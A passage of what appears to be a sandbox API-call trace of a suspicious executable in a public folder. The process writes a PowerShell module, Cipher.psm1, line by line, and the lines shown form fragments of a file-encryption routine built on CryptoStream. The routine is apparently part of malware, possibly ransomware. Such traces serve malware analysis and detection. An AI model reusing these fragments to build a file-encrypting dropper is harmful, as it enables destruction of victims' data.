cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Write($Crypto.IV, 0, $Crypto.IV.Length) \r\n", lpUsedDefaultChar=0x0) returned 78 [0063.308] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0x1cd9a0, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd9a0*=0x4d, lpOverlapped=0x0) returned 1 [0063.308] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.310] _close (_FileHandle=3) returned 0 [0063.310] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb428 [0063.310] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.310] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.310] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.310] GetFileType (hFile=0x7) returned 0x2 [0063.310] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.310] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdb88 | out: lpMode=0x1cdb88) returned 1 [0063.311] _dup (_FileHandle=1) returned 3 [0063.311] _close (_FileHandle=1) returned 0 [0063.312] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.312] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdb58, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.312] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.312] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.312] GetFileType (hFile=0x1c) returned 0x1 [0063.312] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeb1 [0063.312] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdb70*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdb70*=0) returned 0xeb0 [0063.312] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdb68, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdb64, lpOverlapped=0x0 | out: lpBuffer=0x1cdb68*, lpNumberOfBytesRead=0x1cdb64*=0x1, lpOverlapped=0x0) returned 1 [0063.312] GetConsoleTitleW (in: lpConsoleTitle=0x1cd988, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.312] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf0) returned 0x605ca8 [0063.312] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605ca8, Size=0x54) returned 0x605ca8 [0063.312] GetProcessHeap () returned 0x5d0000 [0063.312] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605ca8) returned 0x54 [0063.313] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x86) returned 0x605d08 [0063.313] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd950 | out: _Buffer=" $Transform = $Crypto.CreateEncryptor() \r\n") returned 58 [0063.313] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.313] GetFileType (hFile=0x1c) returned 0x1 [0063.313] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.313] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $Transform = $Crypto.CreateEncryptor() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $Transform = $Crypto.CreateEncryptor() \r\n", lpUsedDefaultChar=0x0) returned 59 [0063.313] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3a, lpNumberOfBytesWritten=0x1cd93c, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd93c*=0x3a, lpOverlapped=0x0) returned 1 [0063.313] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.314] _close (_FileHandle=3) returned 0 [0063.315] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb448 [0063.315] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.315] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.315] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.315] GetFileType (hFile=0x7) returned 0x2 [0063.315] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.315] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdb24 | out: lpMode=0x1cdb24) returned 1 [0063.316] _dup (_FileHandle=1) returned 3 [0063.316] _close (_FileHandle=1) returned 0 [0063.316] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.316] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cdaf4, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.317] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.317] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.317] GetFileType (hFile=0x1c) returned 0x1 [0063.317] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xeeb [0063.317] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdb0c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdb0c*=0) returned 0xeea [0063.317] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdb04, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cdb00, lpOverlapped=0x0 | out: lpBuffer=0x1cdb04*, lpNumberOfBytesRead=0x1cdb00*=0x1, lpOverlapped=0x0) returned 1 [0063.317] GetConsoleTitleW (in: lpConsoleTitle=0x1cd924, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.317] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x2c4) returned 0x605d98 [0063.317] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x605d98, Size=0x13a) returned 0x605d98 [0063.317] GetProcessHeap () returned 0x5d0000 [0063.318] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x605d98) returned 0x13a [0063.318] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x170) returned 0x605ee0 [0063.318] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd8ec | out: _Buffer=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n") returned 175 [0063.318] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.318] GetFileType (hFile=0x1c) returned 0x1 [0063.318] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.318] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream = New-Object System.Security.Cryptography.CryptoStream($FileStreamWriter, $Transform, [System.Security.Cryptography.CryptoStreamMode]::Write) \r\n", lpUsedDefaultChar=0x0) returned 176 [0063.318] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0xaf, lpNumberOfBytesWritten=0x1cd8d8, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd8d8*=0xaf, lpOverlapped=0x0) returned 1 [0063.318] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.320] _close (_FileHandle=3) returned 0 [0063.320] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb468 [0063.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.320] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.320] GetFileType (hFile=0x7) returned 0x2 [0063.320] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.320] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cdac0 | out: lpMode=0x1cdac0) returned 1 [0063.321] _dup (_FileHandle=1) returned 3 [0063.321] _close (_FileHandle=1) returned 0 [0063.322] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.322] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cda90, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.322] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.322] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.322] GetFileType (hFile=0x1c) returned 0x1 [0063.322] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xf9a [0063.322] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cdaa8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cdaa8*=0) returned 0xf99 [0063.322] ReadFile (in: hFile=0x1c, lpBuffer=0x1cdaa0, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cda9c, lpOverlapped=0x0 | out: lpBuffer=0x1cdaa0*, lpNumberOfBytesRead=0x1cda9c*=0x1, lpOverlapped=0x0) returned 1 [0063.323] GetConsoleTitleW (in: lpConsoleTitle=0x1cd8c0, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xf4) returned 0x606058 [0063.323] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x606058, Size=0x5a) returned 0x606058 [0063.323] GetProcessHeap () returned 0x5d0000 [0063.323] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x606058) returned 0x5a [0063.323] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x88) returned 0x6060d8 [0063.323] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd888 | out: _Buffer=" $FileStreamReader.CopyTo($CryptoStream) \r\n") returned 59 [0063.323] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.323] GetFileType (hFile=0x1c) returned 0x1 [0063.323] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.323] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader.CopyTo($CryptoStream) \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader.CopyTo($CryptoStream) \r\n", lpUsedDefaultChar=0x0) returned 60 [0063.323] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x3b, lpNumberOfBytesWritten=0x1cd874, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd874*=0x3b, lpOverlapped=0x0) returned 1 [0063.323] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.326] _close (_FileHandle=3) returned 0 [0063.326] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb488 [0063.326] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.326] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.326] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.326] GetFileType (hFile=0x7) returned 0x2 [0063.326] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.326] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cda5c | out: lpMode=0x1cda5c) returned 1 [0063.327] _dup (_FileHandle=1) returned 3 [0063.327] _close (_FileHandle=1) returned 0 [0063.328] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.328] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cda2c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.328] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.328] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.328] GetFileType (hFile=0x1c) returned 0x1 [0063.328] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xfd5 [0063.328] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cda44*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cda44*=0) returned 0xfd4 [0063.328] ReadFile (in: hFile=0x1c, lpBuffer=0x1cda3c, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cda38, lpOverlapped=0x0 | out: lpBuffer=0x1cda3c*, lpNumberOfBytesRead=0x1cda38*=0x1, lpOverlapped=0x0) returned 1 [0063.328] GetConsoleTitleW (in: lpConsoleTitle=0x1cd85c, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xd4) returned 0x6080c0 [0063.328] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6080c0, Size=0x4a) returned 0x6080c0 [0063.328] GetProcessHeap () returned 0x5d0000 [0063.328] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6080c0) returned 0x4a [0063.328] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x78) returned 0x5ec058 [0063.328] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd824 | out: _Buffer=" $CryptoStream.FlushFinalBlock() \r\n") returned 51 [0063.329] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.329] GetFileType (hFile=0x1c) returned 0x1 [0063.329] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.329] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream.FlushFinalBlock() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream.FlushFinalBlock() \r\n", lpUsedDefaultChar=0x0) returned 52 [0063.329] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x33, lpNumberOfBytesWritten=0x1cd810, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd810*=0x33, lpOverlapped=0x0) returned 1 [0063.329] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.330] _close (_FileHandle=3) returned 0 [0063.331] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb4a8 [0063.331] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.331] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.331] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.331] GetFileType (hFile=0x7) returned 0x2 [0063.331] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.331] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd9f8 | out: lpMode=0x1cd9f8) returned 1 [0063.332] _dup (_FileHandle=1) returned 3 [0063.332] _close (_FileHandle=1) returned 0 [0063.332] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.332] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd9c8, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.333] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.333] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.333] GetFileType (hFile=0x1c) returned 0x1 [0063.333] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1008 [0063.333] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd9e0*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd9e0*=0) returned 0x1007 [0063.333] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd9d8, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd9d4, lpOverlapped=0x0 | out: lpBuffer=0x1cd9d8*, lpNumberOfBytesRead=0x1cd9d4*=0x1, lpOverlapped=0x0) returned 1 [0063.333] GetConsoleTitleW (in: lpConsoleTitle=0x1cd7f8, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xac) returned 0x608118 [0063.333] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608118, Size=0x36) returned 0x608118 [0063.333] GetProcessHeap () returned 0x5d0000 [0063.333] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608118) returned 0x36 [0063.333] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x64) returned 0x602bb0 [0063.333] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd7c0 | out: _Buffer=" $CryptoStream.Close() \r\n") returned 41 [0063.333] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.334] GetFileType (hFile=0x1c) returned 0x1 [0063.334] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.334] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $CryptoStream.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $CryptoStream.Close() \r\n", lpUsedDefaultChar=0x0) returned 42 [0063.334] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x29, lpNumberOfBytesWritten=0x1cd7ac, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd7ac*=0x29, lpOverlapped=0x0) returned 1 [0063.335] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.337] _close (_FileHandle=3) returned 0 [0063.338] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb4c8 [0063.338] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.338] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.338] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.338] GetFileType (hFile=0x7) returned 0x2 [0063.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.416] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd994 | out: lpMode=0x1cd994) returned 1 [0063.416] _dup (_FileHandle=1) returned 3 [0063.416] _close (_FileHandle=1) returned 0 [0063.417] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.417] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd964, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.417] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.417] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.417] GetFileType (hFile=0x1c) returned 0x1 [0063.417] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1031 [0063.417] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd97c*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd97c*=0) returned 0x1030 [0063.417] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd974, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd970, lpOverlapped=0x0 | out: lpBuffer=0x1cd974*, lpNumberOfBytesRead=0x1cd970*=0x1, lpOverlapped=0x0) returned 1 [0063.417] GetConsoleTitleW (in: lpConsoleTitle=0x1cd794, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbc) returned 0x608158 [0063.418] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x608158, Size=0x3e) returned 0x608158 [0063.418] GetProcessHeap () returned 0x5d0000 [0063.418] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x608158) returned 0x3e [0063.418] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5fd4e8 [0063.418] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd75c | out: _Buffer=" $FileStreamReader.Close() \r\n") returned 45 [0063.418] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.418] GetFileType (hFile=0x1c) returned 0x1 [0063.418] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.418] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamReader.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamReader.Close() \r\n", lpUsedDefaultChar=0x0) returned 46 [0063.418] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x1cd748, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd748*=0x2d, lpOverlapped=0x0) returned 1 [0063.418] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.420] _close (_FileHandle=3) returned 0 [0063.420] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb4e8 [0063.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.420] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.420] GetFileType (hFile=0x7) returned 0x2 [0063.420] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.421] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd930 | out: lpMode=0x1cd930) returned 1 [0063.421] _dup (_FileHandle=1) returned 3 [0063.421] _close (_FileHandle=1) returned 0 [0063.422] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.422] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd900, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.422] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.422] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.422] GetFileType (hFile=0x1c) returned 0x1 [0063.422] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x105e [0063.422] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd918*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd918*=0) returned 0x105d [0063.422] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd910, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd90c, lpOverlapped=0x0 | out: lpBuffer=0x1cd910*, lpNumberOfBytesRead=0x1cd90c*=0x1, lpOverlapped=0x0) returned 1 [0063.422] GetConsoleTitleW (in: lpConsoleTitle=0x1cd730, nSize=0x104 | out: lpConsoleTitle="C:\\Users\\Public\\Documents\\cgo46ea565sdfse7.exe") returned 0x2e [0063.422] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0xbc) returned 0x6081a0 [0063.422] RtlReAllocateHeap (Heap=0x5d0000, Flags=0x0, Ptr=0x6081a0, Size=0x3e) returned 0x6081a0 [0063.422] GetProcessHeap () returned 0x5d0000 [0063.423] RtlSizeHeap (HeapHandle=0x5d0000, Flags=0x0, MemoryPointer=0x6081a0) returned 0x3e [0063.423] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x6c) returned 0x5fd560 [0063.423] _vsnwprintf (in: _Buffer=0x4a704640, _BufferCount=0x1fff, _Format="%s\r\n", _ArgList=0x1cd6f8 | out: _Buffer=" $FileStreamWriter.Close() \r\n") returned 45 [0063.423] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.423] GetFileType (hFile=0x1c) returned 0x1 [0063.423] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.423] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" $FileStreamWriter.Close() \r\n", cchWideChar=-1, lpMultiByteStr=0x4a6f6640, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" $FileStreamWriter.Close() \r\n", lpUsedDefaultChar=0x0) returned 46 [0063.423] WriteFile (in: hFile=0x1c, lpBuffer=0x4a6f6640*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x1cd6e4, lpOverlapped=0x0 | out: lpBuffer=0x4a6f6640*, lpNumberOfBytesWritten=0x1cd6e4*=0x2d, lpOverlapped=0x0) returned 1 [0063.423] _dup2 (_FileHandleSrc=3, _FileHandleDst=1) returned 0 [0063.425] _close (_FileHandle=3) returned 0 [0063.425] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x8, Size=0x18) returned 0x5eb508 [0063.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.425] _get_osfhandle (_FileHandle=1) returned 0x7 [0063.425] GetFileType (hFile=0x7) returned 0x2 [0063.426] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0063.426] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x1cd8cc | out: lpMode=0x1cd8cc) returned 1 [0063.426] _dup (_FileHandle=1) returned 3 [0063.426] _close (_FileHandle=1) returned 0 [0063.427] _wcsicmp (_String1="Cipher.psm1", _String2="con") returned -6 [0063.427] CreateFileW (lpFileName="Cipher.psm1" (normalized: "c:\\users\\keecfmwgj\\documents\\windowspowershell\\modules\\cipher\\cipher.psm1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x1cd89c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1c [0063.427] _open_osfhandle (_OSFileHandle=0x1c, _Flags=8) returned 1 [0063.427] _get_osfhandle (_FileHandle=1) returned 0x1c [0063.427] GetFileType (hFile=0x1c) returned 0x1 [0063.427] GetFileSize (in: hFile=0x1c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x108b [0063.427] SetFilePointer (in: hFile=0x1c, lDistanceToMove=-1, lpDistanceToMoveHigh=0x1cd8b4*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1cd8b4*=0) returned 0x108a [0063.427] ReadFile (in: hFile=0x1c, lpBuffer=0x1cd8ac, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1cd8a8, lpOverlapped=0x0 | out: lpBuffer=0x1cd8ac*, 